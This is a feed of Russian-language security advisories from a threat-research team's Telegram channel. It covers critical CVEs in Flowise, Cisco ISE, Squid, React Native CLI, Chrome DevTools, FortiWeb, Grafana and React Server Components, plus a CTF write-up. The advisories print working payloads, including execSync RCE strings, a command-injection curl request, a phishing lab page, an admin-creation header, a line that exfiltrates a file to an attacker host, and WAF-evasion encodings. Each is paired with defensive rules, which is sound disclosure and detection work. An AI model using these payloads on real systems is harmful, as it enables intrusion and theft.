Четыре луча – Telegram
Четыре луча
3.91K subscribers
76 photos
93 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Сбросить пароль я тебе дам и токен я тебе тоже сразу дам — CVE-2025-58434

CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.

Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.


💡 Настоятельно рекомендуем обновиться.

👍 Метрики: CVE-2025–58434
Base Core: 9,8
CWE: CWE-306


👍 Метрики:CVE-2025-59528
Base Core: 10
CWE: CWE-94

👍 Метрики:CVE-2025-61687
Base Core: 8.8
CWE: CWE-434


👍 Об уязвимости
Конечная точка /api/v1/account/forgot-password на вход принимает простой json.
{"user":{"email":"XXX@XXX.XXX"}}


json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}


👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.

1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена /reset-password?token=<redacted-tempToken>.
5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}

6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.

👍 Возможные последствия
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.

CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}

вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.

CVE-2025-61687

POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.

👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.

CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.

CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥208👍4👌1👾1
Attention! Мы открыли набор на стажировку в Центр исследования киберугроз Solar 4RAYS 🫡

Выбирайте направление, которое вам ближе:

💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.

Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.

Чтобы попасть в команду, нужно:
1️⃣ пройти тест,
2️⃣ решить практическое задание,
3️⃣ пообщаться с экспертами.

Заявки принимаем до 10 ноября. Все подробности на сайте.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🎉6🔥4🤮3🤡21🤣1👾1
Десятибалльная уязвимость в Cisco ISE (CVE 2025–20282)

В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.

CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.

😳 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-269


😳 Об уязвимости
В уязвимой версии существует такой участок кода:
public void handleFilesUpload(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.info("In handleFilesUpload method");
Object var3 = null;

try {
DiskFileItemFactory var4 = new DiskFileItemFactory();
ServletFileUpload var5 = new ServletFileUpload(var4);
String var6 = "/tmp";
List var7 = var5.parseRequest(var1);
Iterator var8 = var7.iterator();

while(var8.hasNext()) {
FileItem var9 = (FileItem)var8.next();
if (!var9.isFormField()) {
this.validateAndSaveFile(var9, var6);
}
}

logger.info("copy done");
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm");
} catch (Exception var10) {
logger.info("Exception: ", var10);
}
}


📍 var9 — это объект FileItem, полученный из multipart-запроса.
📍 var9.isFormField() возвращает true, если элемент запроса — обычное поле формы (например, <input type="text" ...>).

Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.

UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm"); - распакует файл /tmp/output.zip в "/opt/CSOCppm.

Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла /opt/CSCOcpm/bin/isehourlycron.sh

Уязвимая конечная точка — /admin/files-upload/

Настоятельно рекомендуем обновиться!

😳 Как защититься
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1354👾1
Десятибалльная уязвимость в Squid (CVE-2025-62168)

В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.

📍 По данным FOFA, Squid используется более чем в 40 миллионах сервисов по всему миру, в том числе и в России.

CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.

Затронуты такие версии:
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.

Настоятельно рекомендуем обновиться!

🫡 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-550, CWE-209


🫡 Об уязвимости
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
%R — вставляет оригинальный HTTP-запрос клиента;
%W — вставляет ответ от сервера, если он был получен перед ошибкой).

Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.

Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён (по умолчанию он включён). Если email_err_data отключён, уязвимость отсутствует.

Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.

🫡 Как защититься
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥175🤔4💯1👾1
Заметки на полях DFIR: файлы-ярлыки (.lnk) Windows и блок данных EXTRA_DATA

При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (User Execution: Malicious Link ID: T1204.001) или чтобы закрепиться в системе (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ID: T1547.001).

🫡 Так, при расследовании одного из инцидентов, обнаружили подозрительный ярлык в каталоге автозагрузки:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FILE.lnk


Файл ссылался на cmd.exe со следующим командлайном:
/c if exist " C:\Intel\FILE.ps1" (powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File " C:\Intel\FILE.ps1") else (exit 0)


Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.

💡 В таких ситуациях помогают различные особенности артефактов Windows. Например, ярлыки обладают блоком данных EXTRA_DATA.

EXTRA_DATA
 — это часть структуры ярлыка, в который записывается:
— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.

Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.

🫡 Именно поэтому важно помнить о тех или иных тонкостях следообразования различных артефактов. И хотя многие атакующие знают о необходимости очистки метаданных в ярлыках и не только, встречаются ситуации, когда этого не происходит.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍96👏5🤯1💯1👾1
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября 

Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.

🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках
18 ноября, 10:30, зал 3
Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.


🫡 Змеиная Rustамания: новые инструменты Shedding Zmiy»
20 ноября, 11:30, зал 3
В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.


🫡 (EDR) — Evading Detection to Ring 0
20 ноября, 12:45, зал 3
Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.


🫡 В джунглях персиста: изощренные техники закрепления
20 ноября, 13:45, зал 3
Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.

 
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.

Принять участие →
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥157🤝52💯1👾1
Фишинговая кампания Erudite Mogwai в России 👀

В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.

После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).

Читайте подробности в нашей новой статье!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍541🤔1💯1👾1
RCE в React Native CLI (CVE-2025-11953)

CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете @react-native-community/cli-server-api версий с 4.8.0 по 20.0.0-alpha.2

😳 Метрики
Base Score: 9,8 (CRITICAL)
CWE: CWE-78


😳 Об уязвимости
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях @react-native-community/cli-server-api функция openURLMiddleware содержит код:

async function openURLMiddleware(req: IncomingMessage, ...) {
if (req.method === 'POST') {

const {url} = req.body as {url: string};

await open(url);

}
next();
}
export default connect().use(json()).use(openURLMiddleware);


Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.

Исправление:
    try {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}

await open(url);


Исправление проверяет, что параметр url означает именно URL в new URL с протоколом http/https в if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:').

💡 Дополнительная особенность уязвимости — сервер по умолчанию будет прослушивать внешние соединения 0.0.0.0:[port].

Важно: поведение open() отличается между Windows и Unix подобными системами.

☀️ На Windows уязвимости RCE возникают из за формирования одной строковой команды. Например, cmd /c start "" /b cmd /c echo abc > c:\temp\pwned.txt.
☀️ На macOS/Linux open/xdg-open запускаются без shell и ожидает, что каждый аргумент будет отдельной строкой, но остаются другие риски (URI обработчики, file://, сетевые схемы).

Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и file:/// smb://.

Уязвимая конечная точка: /open-url.

😳 Пример эксплуатации RCE для Windows
curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"


😳 Как защищаться
1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4👀1👾1
Лабораторная работа CVE-2025-12907

Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.

🫡 Метрики
CWE: CWE-20


🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.

Рекомендуем обновиться.

🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3

Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).

😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.

2) Запустите http-сервер через python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг.
  --directory /example


3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.

4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).

5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.

6) Результат — открытые calc.exe.

😬 Html код (lab_cve-CVE-2025-12907.html)
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<noscript>Тех поддержка не работает</noscript>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>

<noscript>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</noscript>
</body>
</html>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11421👾1
Shedding Zmiy против популярной CMS

Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.

👀 Мы детально проанализировали утилиту и выяснили, что она (если получит несанкционированный доступ к веб-серверу) предназначалась для расширения привилегий в инфраструктуре через уязвимость (нулевого дня на тот момент) в настройках веб-сервера из инструмента «виртуальная машина», который используется для быстрого развертывания популярной российской CMS Bitrix.

Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.

В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥6🤯4👾1
Критическая уязвимость Fortinet FortiWeb (CVE-2025-64446)

CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.

👽 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-23


👽 Об уязвимости
Сканирования системы могут начаться с простого — с проверки доступности фала fwbcgi. Файл fwbcgi отвечает за обработку определённых запросов CGI, в том числе аутентификацию и выполнение административных команд.

Сканирование на доступность начинается с GET- или POST-запроса на:
/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi


Ответ:
{"errcode": "0", "message": "(null)"}


Означает: файл доступен.

Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный /../../../../../cgi-bin/fwbcgi с заголовками вида (указано в формате ключ – значение):
{'CGIINFO': 'eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==', 'Content-Type': 'application/x-www-form-urlencoded'}


И телом, которое представляет собой JSON с данными нового пользователя.

Небольшое уточнение: часть /api/v регистронезависима.

👽 Как защищаться
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий ../. Также необходимо учесть, что злоумышленник в атаках может использовать методы обхода стандартных сигнатур WAF/IDS. Например, как на скриншоте.

2) Проверка обращений к /fwbcgi из внешней сети.

3) Обновление.

4) Ревизия недавно созданных пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥642👾1
Четыре луча
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября  Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили. 🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках 18 ноября, 10:30, зал 3 Разберем ход расследования…
Расскажем интересное на SOC Forum уже сегодня!

18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.

Ждем вас в Тимирязев Центре и на онлайн-трансляции ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥126😎3
Следующая остановка — ZeroNights!

SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:

NWQgM2MgMzEgMmMgMjcgMTQgNjQgN2MgNzkgMDggNGQgMWQgMzQgMDYgMzIgNjYgMTcgMWUgMzAgMWQgNjk=

Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
23👏9🥰7🤡2👍1🔥1👾1
Повышение привилегий в Grafana Enterprise (CVE-2025-41115)

CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.

Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-266


😬 Об уязвимости
Она возникает при установке флагов [feature_toggles] enableSCIM = true и [auth.scim] user_sync_enabled = true в конфигурации Grafana.

Grafana напрямую сопоставляет SCIM externalId с внутренним user.uid, поэтому числовые значения «1» и другие могут быть интерпретированы как внутренние числовые идентификаторы пользователей. ExternalId — этот параметр контролирует злоумышленник в POST-запросах.

Пример запроса, который эксплуатирует уязвимость:
POST /api/scim/v2/Users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Authorization: Bearer glsa_00000000000000000000000000000000_00000000000000000000000000000000
Content-Type: application/scim+json
Content-Length: 239

{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "adminLol", "externalId": "1", "name": {"formatted": "Pwned User"}, "emails": [{"value": " adminLol ", "primary": true}], "active": true}


/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.

Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.

Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр externalId, который вызывает коллизию.

😬 Как защищаться
1) Регулярно обновляться.

2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.

3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром externalId, который содержит небольшие значения, например 1-10.

4) Если нельзя быстро обновиться, то установить enableSCIM = false и [auth.scim] user_sync_enabled = false.

Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением externalId, которое равно числам в диапазоне, например 1-10.
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥31👍1👀1👾1
NGC5081 атакует телеком с помощью продвинутого бэкдора IDFKA 👁

В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.

💡 Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust — мы назвали его IDFKA.

С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.

Подробности — в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👀54👻1👾1
Mycelium, Octopus и Leech — рассказываем о новом инструментарии группировки Shedding Zmiy

В марте мы выпустили статью о новых инструментах Shedding Zmiy. В том же инциденте мы обнаружили не только руткиты Puma и Kitsune, но и еще несколько новых утилит, написанных на Rust, которые могут использовать злоумышленники для закрепления в системе и постэксплуатации.

Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:

— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥136🤯4👾1
Решение задания с ZeroNights

Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.

😬 На входе участник получал дамп сетевого трафика в формате .pcap. При его детальном анализе он мог заметить локальный TFTP-трафик от 127.0.0.1 к 127.0.0.1. Ему нужно было воспользоваться функцией Wireshark, которая позволяет экспортировать передаваемые объекты данного протокола, чтобы получить архив Important.zip.

В архиве три файла:
- doc.txt
- photo.png
- song.wav


Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
My pet's name: Solar
The rest is hidden in the image.


На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
SECRET=ik42


😬 Дальше было важно понять, для чего нужен этот фрагмент. Для этого нужно проанализировать последний файл из архива song.wav, который при открытии издает монотонный звук.

Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.

Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
sudo mount -o loop fs mnt
ls -R mnt
mnt/
└── secret_dir
└── final.txt


Текстовый документ содержал в себе флаг к этой задаче:
Solar4Rays{S0RR4_F0R_ST3G0_AG41N}


Это финал! Ставим лайк победителям квеста ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥328😁53👍1👾1
Evading Detection to Ring0

Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?

Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.

Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
😬 как работает EventLog от момента генерации события до его получения в журналах;
😬 как работает широко известный Sysmon;
😬 что такое ETW и с чем его едят;
😬 как можно собирать телеметрию о WinAPI-вызовах;
😬 какие есть способы обхода перечисленных средств сбора телеметрии.

Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на сайте форума.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥179🎉6🌚1👾1
Критическая уязвимость CVE-2025-55182

Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.

Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-502


😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.

Flight-протокол допускает ссылки вида $1:key1:key2:...:keyN:
$1:__proto__:constructor:constructor


Протокол разбирает это так: взять фрагмент 1 -> получить поле __proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.

😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}


😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость

RCE
process.mainModule.require('child_process').execSync('CODE'); 

Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.

process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.

process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })

Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.

SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));

Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.

Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then  -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e


Или строку CODE могут закодировать в base64 так:
execSync(Buffer.from('Q09ERQ==','base64').toString())


Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
